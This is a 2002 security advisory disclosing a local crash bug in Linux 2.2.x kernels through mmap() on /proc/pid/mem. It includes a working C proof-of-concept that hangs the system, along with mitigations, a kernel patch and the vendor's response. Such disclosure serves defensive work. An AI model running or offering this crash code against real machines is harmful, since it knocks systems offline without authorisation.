Date: Tue, 17 Dec 2002 13:02:18 -0800 (PST)
From: Michal Zalewski <[email protected]>
To: [email protected], [email protected],
Subject: RAZOR advisory: Linux 2.2.xx /proc/<pid>/mem mmap() vulnerability
RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability
Issue Date : 12/17/2002
Contact : Michal Zalewski <[email protected]>
CVE number : CAN-2002-1380
Topic:
A locally exploitable system crash vulnerability is present in the
Linux kernel, versions 2.2.x. The system is likely to hang and
require a manual reboot.
Affected Systems:
All Linux systems running 2.2.x kernels. The functionality required
to exploit this vulnerability is not present in the 2.4.x line as of
today, and those systems are not immediately vulnerable.
Details:
The /proc/pid/mem interface is designed to enable one application to,
under certain conditions, access the memory of another application in
a convenient way. This feature is very useful for developers or
administrators who wish to debug or analyze programs running on their
system. One of ways to access the memory is by directly mapping pages
using mmap().
A vulnerability is present in the way this process is validated. It is
possible for the user to use mmap() interface to request access to memory
pages that are non-readable to the traced process itself. The user can
pass PROT_READ parameter to this call to request read access to this
mapping. Because of insufficient validation, he will be granted a map
marked as readable. From now on, the user can request his instance to be
read by the kernel. Doing so will result in crashing the system.
The problem does not affect 2.4 kernels because, as of today, mmap() on
/proc/pid/mem is not supported; mmap() interface is no longer available
on 2.4 because of implementation reliability concerns.
Proof of concept code:
#define PAGES 10
#include <asm/page.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ptrace.h>
int main() {
int ad1,ad2,zer,mem,pid,i;
zer=open("/dev/zero",O_RDONLY);
ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
pid=getpid();
if (!fork()) {
char p[64];
ptrace(PTRACE_ATTACH,pid,0,0);
sleep(1);
sprintf(p,"/proc/%d/mem",pid);
mem=open(p,O_RDONLY);
ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
write(1,(char*)ad2,PAGES*PAGE_SIZE);
}
sleep(100);
return 0;
}
Mitigating factors:
In order to successfully exploit the vulnerability, the attacker would
need to have the right to execute code of his choice on the local machine.
Restricting ptrace() or /proc access can help mitigate the risk. Several
security-enhancing patches such as Openwall or grsecurity offer solutions
to implement such restrictions.
Workaround / fix:
There is no immediate fix available. Kernel developers suggest to disable
mmap() functionality on /proc/pid/mem to address the issue. The following
patch can be used:
--- linux-2.2/fs/proc/mem.c.old Sun Mar 25 08:30:58 2001
+++ linux-2.2/fs/proc/mem.c Tue Dec 10 14:29:05 2002
@@ -323,7 +323,7 @@
NULL, /* mem_readdir */
NULL, /* mem_poll */
NULL, /* mem_ioctl */
- mem_mmap, /* mmap */
+ NULL, /* mmap */
NULL, /* no special open code */
NULL, /* flush */
NULL, /* no special release code */
Administrators who prefer to patch their systems without the need to
recompile and reboot, and do not rely on having ptrace() interface
available to all users, can deploy a loadable module that disables
ptrace() for non-privileged accounts instead. One of such modules
can be obtained at http://www.securiteam.com/tools/5SP082K5GK.html .
Please note that this third-party kernel module is not authored nor
endorsed by RAZOR, and that compilation and installation of kernel modules
should be performed by experienced users only.
Vendor Response:
Because of implementation reliability issues, Linux developers decided to
drop /proc/pid/mem mmap() functionality in 2.2 kernels. There will be no
fix for the issue that preserves the functionality.
Upcoming 2.2.24 release will address this and other bugs in 2.2 kernels.
